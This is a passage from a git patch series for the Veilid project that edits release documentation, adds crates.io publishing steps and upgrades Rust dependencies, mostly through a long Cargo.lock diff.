formats: - > - > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > - Pushed to Yum repository at - > -- [x] __veilid-cli__ DEB package [__Tag__: `veilid-cli-deb-v0.0.0`] - > The Veilid headless node administrator control binary in the following formats: - > - > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > - Pushed to APT repository at - > -- [x] __veilid-cli__ RPM package [__Tag__: `veilid-cli-rpm-v0.0.0`] - > The Veilid headless node administrator control binary in the following formats: - > - > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > - Pushed to Yum repository at - -### Version Numbering - -All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (): - -- MAJOR version when you make incompatible API changes -- MINOR version when you add functionality in a backward compatible manner -- PATCH version when you make backward compatible bug fixes - -The `version_bump.sh` script should be run on every release to stable. All of the Rust crates are versioned together and should have the same version, as well as the `veilid-python` Python package and `veilid-flutter` Flutter plugin. - -## Bumpversion Setup and Usage - -### Install Bumpversion - -1. Create a Python venv for bumpversion.py. Mine is in my home dir so it persists when I update my local Veilid `main`. - - `python3 -m venv ~/bumpversion-venv` -2. Activate the venv. `source ~/bumpversion-venv/bin/activate` -3. Install bumpversion. `pip3 install bumpversion` - -### Activate venv for version bumping step of the release process - -1. Activate the venv. `source ~/bumpversion-venv/bin/activate` -2. Return to step 2.4 of _Create a Gitlab Release_ +```shell +sudo -u veilid veilid-server +``` diff --git a/RELEASING.md b/RELEASING.md index f7c8d92d..5b5085a6 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -40,6 +40,14 @@ Releases happen via a CI/CD pipeline. The release process flows as follows: Git tags serve as a historical record of what repo versions were successfully released at which version numbers. +## Publish to crates.io + +1. Configure the crates.io credentials, if not already accomplished. +2. Execute `cargo publish -p veilid-tools --dry-run` +3. Execute `cargo publish -p veilid-tools` +4. Execute `cargo publish -p veilid-core --dry-run` +5. Execute `cargo publish -p veilid-core` + ## Publish to Pypi 1. Change directory to veilid-python From e768e7996118eb395bc0a32d05d82c020ba96d93 Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 20:28:43 -0400 Subject: [PATCH 42/47] cargo workspace resolver update for latest rust --- veilid-core/Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index cb77a8dc..545539bc 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -129,7 +129,7 @@ trust-dns-resolver = { version = "0.22.0", optional = true } enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.18.1", default-features = false } +capnp = { version = "0.18.1", default-features = false, features = [ "alloc" ] } serde = { version = "1.0.183", features = ["derive"] } serde_json = { version = "1.0.105" } serde-big-array = "0.5.1" From d60c296303e533a91feba53d38b99dbac5c04c7a Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 21:56:19 -0400 Subject: [PATCH 43/47] cargo upgrades --- Cargo.lock | 718 +++++------------- veilid-cli/Cargo.toml | 10 +- veilid-core/Cargo.toml | 45 +- veilid-core/src/crypto/blake3digest512.rs | 3 +- veilid-core/src/intf/native/system.rs | 3 +- .../src/network_manager/native/network_tcp.rs | 2 +- veilid-flutter/rust/Cargo.toml | 8 +- veilid-server/Cargo.toml | 16 +- veilid-tools/Cargo.toml | 10 +- veilid-wasm/Cargo.toml | 2 +- 10 files changed, 221 insertions(+), 596 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index dab2186e..74a44c69 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -45,7 +45,7 @@ version = "0.7.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" dependencies = [ - "getrandom 0.2.10", + "getrandom", "once_cell", "version_check 0.9.4", ] @@ -57,7 +57,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f" dependencies = [ "cfg-if 1.0.0", - "getrandom 0.2.10", + "getrandom", "once_cell", "version_check 0.9.4", ] @@ -301,7 +301,7 @@ dependencies = [ "async-lock", "async-task", "concurrent-queue", - "fastrand 1.9.0", + "fastrand", "futures-lite", "slab", ] @@ -398,41 +398,19 @@ dependencies = [ [[package]] name = "async-std-resolver" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ba50e24d9ee0a8950d3d03fc6d0dd10aa14b5de3b101949b4e160f7fee7c723" +checksum = "0354a68a52265a3bde76005ddd2726624ef8624614f7f58871301de205a58a59" dependencies = [ "async-std", "async-trait", "futures-io", "futures-util", "pin-utils", - "socket2 0.4.9", + "socket2 0.5.4", "trust-dns-resolver", ] -[[package]] -name = "async-stream" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51" -dependencies = [ - "async-stream-impl", - "futures-core", - "pin-project-lite", -] - -[[package]] -name = "async-stream-impl" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.36", -] - [[package]] name = "async-task" version = "4.4.0" @@ -464,19 +442,6 @@ dependencies = [ "syn 2.0.36", ] -[[package]] -name = "async-tungstenite" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a5c45a0dd44b7e6533ac4e7acc38ead1a3b39885f5bbb738140d30ea528abc7c" -dependencies = [ - "futures-io", - "futures-util", - "log", - "pin-project 0.4.30", - "tungstenite 0.11.1", -] - [[package]] name = "async-tungstenite" version = "0.23.0" @@ -488,7 +453,7 @@ dependencies = [ "futures-util", "log", "pin-project-lite", - "tungstenite 0.20.0", + "tungstenite", ] [[package]] @@ -503,7 +468,7 @@ dependencies = [ "futures-task", "futures-timer", "futures-util", - "pin-project 1.1.3", + "pin-project", "rustc_version", "tokio", "wasm-bindgen-futures", @@ -570,7 +535,7 @@ dependencies = [ "async-trait", "axum-core", "bitflags 1.3.2", - "bytes 1.5.0", + "bytes", "futures-util", "http", "http-body", @@ -596,7 +561,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" dependencies = [ "async-trait", - "bytes 1.5.0", + "bytes", "futures-util", "http", "http-body", @@ -621,12 +586,6 @@ dependencies = [ "rustc-demangle", ] -[[package]] -name = "base64" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" - [[package]] name = "base64" version = "0.13.1" @@ -645,25 +604,6 @@ version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b" -[[package]] -name = "bindgen" -version = "0.57.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd4865004a46a0aafb2a0a5eb19d3c9fc46ee5f063a6cfc605c69ac9ecf5263d" -dependencies = [ - "bitflags 1.3.2", - "cexpr 0.4.0", - "clang-sys", - "lazy_static", - "lazycell", - "peeking_take_while", - "proc-macro2", - "quote", - "regex", - "rustc-hash", - "shlex 0.1.1", -] - [[package]] name = "bindgen" version = "0.59.2" @@ -671,7 +611,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2bd2a9a458e8f4304c52c43ebb0cfbd520289f8379a52e329a38afda99bf8eb8" dependencies = [ "bitflags 1.3.2", - "cexpr 0.6.0", + "cexpr", "clang-sys", "clap 2.34.0", "env_logger 0.9.3", @@ -683,7 +623,7 @@ dependencies = [ "quote", "regex", "rustc-hash", - "shlex 1.2.0", + "shlex", "which", ] @@ -783,16 +723,16 @@ dependencies = [ "async-lock", "async-task", "atomic-waker", - "fastrand 1.9.0", + "fastrand", "futures-lite", "log", ] [[package]] name = "boringssl-src" -version = "0.3.0+688fc5c" +version = "0.5.2+6195bf8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f901accdf830d2ea2f4e27f923a5e1125cd8b1a39ab578b9db1a42d578a6922b" +checksum = "7ab565ccc5e276ea82a2013dd08bf2c999866b06daf1d4f30fee419c4aaec6d5" dependencies = [ "cmake", ] @@ -815,12 +755,6 @@ version = "1.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" -[[package]] -name = "bytes" -version = "0.5.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38" - [[package]] name = "bytes" version = "1.5.0" @@ -860,15 +794,6 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" -[[package]] -name = "cexpr" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4aedb84272dbe89af497cf81375129abda4fc0a9e7c5d317498c15cc30c0d27" -dependencies = [ - "nom 5.1.3", -] - [[package]] name = "cexpr" version = "0.6.0" @@ -1066,7 +991,7 @@ version = "4.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35ed6e9d84f0b51a7f52daf1c7d71dd136fd7a3f41a8462b8cdb8c78d920fad4" dependencies = [ - "bytes 1.5.0", + "bytes", "memchr", ] @@ -1106,7 +1031,7 @@ checksum = "c2895653b4d9f1538a83970077cb01dfc77a4810524e51a110944688e916b18e" dependencies = [ "prost", "prost-types", - "tonic 0.9.2", + "tonic", "tracing-core", ] @@ -1128,7 +1053,7 @@ dependencies = [ "thread_local", "tokio", "tokio-stream", - "tonic 0.9.2", + "tonic", "tracing", "tracing-core", "tracing-subscriber", @@ -1265,7 +1190,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" dependencies = [ "generic-array 0.14.7", - "rand_core 0.6.4", + "rand_core", "typenum", ] @@ -1553,33 +1478,13 @@ dependencies = [ "subtle", ] -[[package]] -name = "directories" -version = "4.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f51c5d4ddabd36886dd3e1438cb358cdcb0d7c499cb99cb4ac2e38e18b5cb210" -dependencies = [ - "dirs-sys 0.3.7", -] - [[package]] name = "directories" version = "5.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a49173b84e034382284f27f1af4dcbbd231ffa358c0fe316541a7337f376a35" dependencies = [ - "dirs-sys 0.4.1", -] - -[[package]] -name = "dirs-sys" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" -dependencies = [ - "libc", - "redox_users", - "winapi", + "dirs-sys", ] [[package]] @@ -1624,7 +1529,7 @@ checksum = "7277392b266383ef8396db7fdeb1e77b6c52fed775f5df15bb24f35b72156980" dependencies = [ "curve25519-dalek", "ed25519", - "rand_core 0.6.4", + "rand_core", "serde", "sha2 0.10.7", "signature", @@ -1645,14 +1550,14 @@ checksum = "658bbadc628dc286b9ae02f0cb0f5411c056eb7487b72f0083203f115de94060" [[package]] name = "enum-as-inner" -version = "0.5.1" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9720bba047d567ffc8a3cba48bf19126600e249ab7f128e9233e6376976a116" +checksum = "5ffccbb6966c05b32ef8fbac435df276c4ae4d3dc55a8cd0eb9745e6c12f546a" dependencies = [ "heck", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.36", ] [[package]] @@ -1815,12 +1720,6 @@ dependencies = [ "instant", ] -[[package]] -name = "fastrand" -version = "2.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6999dc1837253364c2ebb0704ba97994bd874e8f195d665c50b7548f6ea92764" - [[package]] name = "fdeflate" version = "0.3.0" @@ -1846,12 +1745,6 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d0870c84016d4b481be5c9f323c24f65e31e901ae618f0e80f4308fb00de1d2d" -[[package]] -name = "fixedbitset" -version = "0.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" - [[package]] name = "flate2" version = "1.0.27" @@ -1992,7 +1885,7 @@ version = "1.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" dependencies = [ - "fastrand 1.9.0", + "fastrand", "futures-core", "futures-io", "memchr", @@ -2096,17 +1989,6 @@ dependencies = [ "winapi", ] -[[package]] -name = "getrandom" -version = "0.1.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" -dependencies = [ - "cfg-if 1.0.0", - "libc", - "wasi 0.9.0+wasi-snapshot-preview1", -] - [[package]] name = "getrandom" version = "0.2.10" @@ -2116,7 +1998,7 @@ dependencies = [ "cfg-if 1.0.0", "js-sys", "libc", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", "wasm-bindgen", ] @@ -2172,25 +2054,26 @@ dependencies = [ [[package]] name = "grpcio" -version = "0.9.1" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24d99e00eed7e0a04ee2705112e7cfdbe1a3cc771147f22f016a8cd2d002187b" +checksum = "609832ca501baeb662dc81932fda9ed83f5d058f4b899a807ba222ce696f430a" dependencies = [ - "futures", + "futures-executor", + "futures-util", "grpcio-sys", "libc", "log", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "protobuf", ] [[package]] name = "grpcio-sys" -version = "0.9.1+1.38.0" +version = "0.12.1+1.46.5-patched" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9447d1a926beeef466606cc45717f80897998b548e7dc622873d453e1ecb4be4" +checksum = "cf625d1803b6f44203f0428ddace847fb4994def5c803fc8a7a2f18fb3daec62" dependencies = [ - "bindgen 0.57.0", + "bindgen", "boringssl-src", "cc", "cmake", @@ -2206,7 +2089,7 @@ version = "0.3.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" dependencies = [ - "bytes 1.5.0", + "bytes", "fnv", "futures-core", "futures-sink", @@ -2360,7 +2243,7 @@ version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" dependencies = [ - "bytes 1.5.0", + "bytes", "fnv", "itoa", ] @@ -2371,7 +2254,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" dependencies = [ - "bytes 1.5.0", + "bytes", "http", "pin-project-lite", ] @@ -2400,7 +2283,7 @@ version = "0.14.27" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" dependencies = [ - "bytes 1.5.0", + "bytes", "futures-channel", "futures-core", "futures-util", @@ -2459,17 +2342,6 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" -[[package]] -name = "idna" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" -dependencies = [ - "matches", - "unicode-bidi", - "unicode-normalization", -] - [[package]] name = "idna" version = "0.4.0" @@ -2546,15 +2418,6 @@ dependencies = [ "generic-array 0.14.7", ] -[[package]] -name = "input_buffer" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19a8a95243d5a0398cae618ec29477c6e3cb631152be5c19481f80bc71559754" -dependencies = [ - "bytes 0.5.6", -] - [[package]] name = "instant" version = "0.1.12" @@ -2672,7 +2535,7 @@ dependencies = [ "cfg-if 1.0.0", "core-foundation", "core-foundation-sys", - "directories 5.0.1", + "directories", "fs4", "jni", "lazy_static", @@ -2875,12 +2738,6 @@ dependencies = [ "regex-automata 0.1.10", ] -[[package]] -name = "matches" -version = "0.1.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" - [[package]] name = "matchit" version = "0.7.2" @@ -2902,15 +2759,6 @@ dependencies = [ "autocfg", ] -[[package]] -name = "memoffset" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" -dependencies = [ - "autocfg", -] - [[package]] name = "memory_units" version = "0.4.0" @@ -2947,23 +2795,17 @@ checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" dependencies = [ "libc", "log", - "wasi 0.11.0+wasi-snapshot-preview1", + "wasi", "windows-sys 0.48.0", ] -[[package]] -name = "multimap" -version = "0.8.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" - [[package]] name = "nanorand" version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" dependencies = [ - "getrandom 0.2.10", + "getrandom", ] [[package]] @@ -3057,9 +2899,9 @@ dependencies = [ [[package]] name = "netlink-packet-route" -version = "0.17.0" +version = "0.17.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6de2fe935f44cbdfcab77dce2150d68eda75be715cd42d4d6f52b0bd4dcc5b1" +checksum = "053998cea5a306971f88580d0829e90f270f940befd7cf928da179d4187a5a66" dependencies = [ "anyhow", "bitflags 1.3.2", @@ -3087,7 +2929,7 @@ version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "842c6770fc4bb33dd902f41829c61ef872b8e38de1405aa0b938b27b8fba12c3" dependencies = [ - "bytes 1.5.0", + "bytes", "futures", "log", "netlink-packet-core", @@ -3103,7 +2945,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6471bf08e7ac0135876a9581bf3217ef0333c191c128d34878079f42ee150411" dependencies = [ "async-io", - "bytes 1.5.0", + "bytes", "futures", "libc", "log", @@ -3120,7 +2962,7 @@ dependencies = [ "cc", "cfg-if 1.0.0", "libc", - "memoffset 0.6.5", + "memoffset", ] [[package]] @@ -3132,7 +2974,7 @@ dependencies = [ "bitflags 1.3.2", "cfg-if 1.0.0", "libc", - "memoffset 0.6.5", + "memoffset", ] [[package]] @@ -3144,8 +2986,6 @@ dependencies = [ "bitflags 1.3.2", "cfg-if 1.0.0", "libc", - "memoffset 0.7.1", - "pin-utils", ] [[package]] @@ -3169,16 +3009,6 @@ dependencies = [ "version_check 0.1.5", ] -[[package]] -name = "nom" -version = "5.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08959a387a676302eebf4ddbcbc611da04285579f76f88ee0506c63b1a61dd4b" -dependencies = [ - "memchr", - "version_check 0.9.4", -] - [[package]] name = "nom" version = "7.1.3" @@ -3376,9 +3206,9 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" [[package]] name = "opentelemetry" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "69d6c3d7288a106c0a363e4b0e8d308058d56902adefb16f4936f417ffef086e" +checksum = "9591d937bc0e6d2feb6f71a559540ab300ea49955229c347a517a28d27784c54" dependencies = [ "opentelemetry_api", "opentelemetry_sdk", @@ -3386,56 +3216,55 @@ dependencies = [ [[package]] name = "opentelemetry-otlp" -version = "0.11.0" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1c928609d087790fc936a1067bdc310ae702bdf3b090c3f281b713622c8bbde" +checksum = "7e5e5a5c4135864099f3faafbe939eb4d7f9b80ebf68a8448da961b32a7c1275" dependencies = [ "async-trait", - "futures", - "futures-util", + "futures-core", "grpcio", "http", - "opentelemetry", "opentelemetry-proto", + "opentelemetry-semantic-conventions", + "opentelemetry_api", + "opentelemetry_sdk", "prost", "protobuf", "thiserror", "tokio", - "tonic 0.8.3", + "tonic", ] [[package]] name = "opentelemetry-proto" -version = "0.1.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d61a2f56df5574508dd86aaca016c917489e589ece4141df1b5e349af8d66c28" +checksum = "b1e3f814aa9f8c905d0ee4bde026afd3b2577a97c10e1699912e3e44f0c4cbeb" dependencies = [ "futures", - "futures-util", "grpcio", - "opentelemetry", + "opentelemetry_api", + "opentelemetry_sdk", "prost", "protobuf", - "tonic 0.8.3", - "tonic-build", + "tonic", ] [[package]] name = "opentelemetry-semantic-conventions" -version = "0.10.0" +version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b02e0230abb0ab6636d18e2ba8fa02903ea63772281340ccac18e0af3ec9eeb" +checksum = "73c9f9340ad135068800e7f1b24e9e09ed9e7143f5bf8518ded3d3ec69789269" dependencies = [ "opentelemetry", ] [[package]] name = "opentelemetry_api" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c24f96e21e7acc813c7a8394ee94978929db2bcc46cf6b5014fc612bf7760c22" +checksum = "8a81f725323db1b1206ca3da8bb19874bbd3f57c3bcd59471bfb04525b265b9b" dependencies = [ - "fnv", "futures-channel", "futures-util", "indexmap 1.9.3", @@ -3443,26 +3272,28 @@ dependencies = [ "once_cell", "pin-project-lite", "thiserror", + "urlencoding", ] [[package]] name = "opentelemetry_sdk" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ca41c4933371b61c2a2f214bf16931499af4ec90543604ec828f7a625c09113" +checksum = "fa8e705a0612d48139799fcbaba0d4a90f06277153e43dd2bdc16c6f0edd8026" dependencies = [ "async-std", "async-trait", "crossbeam-channel", - "dashmap", - "fnv", "futures-channel", "futures-executor", "futures-util", "once_cell", "opentelemetry_api", + "ordered-float", "percent-encoding", - "rand 0.8.5", + "rand", + "regex", + "serde_json", "thiserror", "tokio", "tokio-stream", @@ -3474,6 +3305,15 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" +[[package]] +name = "ordered-float" +version = "3.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a54938017eacd63036332b4ae5c8a49fc8c0c1d6d629893057e4f13609edd06" +dependencies = [ + "num-traits", +] + [[package]] name = "ordered-multimap" version = "0.4.3" @@ -3591,7 +3431,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166" dependencies = [ "base64ct", - "rand_core 0.6.4", + "rand_core", "subtle", ] @@ -3664,16 +3504,6 @@ dependencies = [ "sha2 0.10.7", ] -[[package]] -name = "petgraph" -version = "0.6.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" -dependencies = [ - "fixedbitset", - "indexmap 2.0.0", -] - [[package]] name = "pharos" version = "0.5.3" @@ -3684,33 +3514,13 @@ dependencies = [ "rustc_version", ] -[[package]] -name = "pin-project" -version = "0.4.30" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ef0f924a5ee7ea9cbcea77529dba45f8a9ba9f622419fe3386ca581a3ae9d5a" -dependencies = [ - "pin-project-internal 0.4.30", -] - [[package]] name = "pin-project" version = "1.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" dependencies = [ - "pin-project-internal 1.1.3", -] - -[[package]] -name = "pin-project-internal" -version = "0.4.30" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "851c8d0ce9bebe43790dedfc86614c23494ac9f423dd618d3a61fc693eafe61e" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "pin-project-internal", ] [[package]] @@ -3804,16 +3614,6 @@ version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" -[[package]] -name = "prettyplease" -version = "0.1.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c8646e95016a7a6c4adea95bafa8a16baab64b583356217f2c85db4a39d9a86" -dependencies = [ - "proc-macro2", - "syn 1.0.109", -] - [[package]] name = "proc-macro-crate" version = "0.1.5" @@ -3848,32 +3648,10 @@ version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b82eaa1d779e9a4bc1c3217db8ffbeabaae1dca241bf70183242128d48681cd" dependencies = [ - "bytes 1.5.0", + "bytes", "prost-derive", ] -[[package]] -name = "prost-build" -version = "0.11.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "119533552c9a7ffacc21e099c24a0ac8bb19c2a2a3f363de84cd9b844feab270" -dependencies = [ - "bytes 1.5.0", - "heck", - "itertools", - "lazy_static", - "log", - "multimap", - "petgraph", - "prettyplease", - "prost", - "prost-types", - "regex", - "syn 1.0.109", - "tempfile", - "which", -] - [[package]] name = "prost-derive" version = "0.11.9" @@ -3917,19 +3695,6 @@ dependencies = [ "proc-macro2", ] -[[package]] -name = "rand" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -dependencies = [ - "getrandom 0.1.16", - "libc", - "rand_chacha 0.2.2", - "rand_core 0.5.1", - "rand_hc", -] - [[package]] name = "rand" version = "0.8.5" @@ -3937,18 +3702,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" dependencies = [ "libc", - "rand_chacha 0.3.1", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_chacha" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" -dependencies = [ - "ppv-lite86", - "rand_core 0.5.1", + "rand_chacha", + "rand_core", ] [[package]] @@ -3958,16 +3713,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" dependencies = [ "ppv-lite86", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_core" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" -dependencies = [ - "getrandom 0.1.16", + "rand_core", ] [[package]] @@ -3976,16 +3722,7 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "getrandom 0.2.10", -] - -[[package]] -name = "rand_hc" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" -dependencies = [ - "rand_core 0.5.1", + "getrandom", ] [[package]] @@ -4030,7 +3767,7 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" dependencies = [ - "getrandom 0.2.10", + "getrandom", "redox_syscall 0.2.16", "thiserror", ] @@ -4117,21 +3854,20 @@ dependencies = [ [[package]] name = "rpassword" -version = "6.0.1" +version = "7.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bf099a1888612545b683d2661a1940089f6c2e5a8e38979b2159da876bfd956" +checksum = "6678cf63ab3491898c0d021b493c94c9b221d91295294a2a5746eacbe5928322" dependencies = [ "libc", - "serde", - "serde_json", + "rtoolbox", "winapi", ] [[package]] name = "rtnetlink" -version = "0.13.0" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6333af2adba73478936174a0ef3edf05fbfa058539c21d567344a53bb6d75cfd" +checksum = "7a552eb82d19f38c3beed3f786bd23aa434ceb9ac43ab44419ca6d67a7e186c0" dependencies = [ "async-global-executor", "futures", @@ -4146,6 +3882,16 @@ dependencies = [ "tokio", ] +[[package]] +name = "rtoolbox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "034e22c514f5c0cb8a10ff341b9b048b5ceb21591f31c8f44c43b960f9b3524a" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "rusqlite" version = "0.29.0" 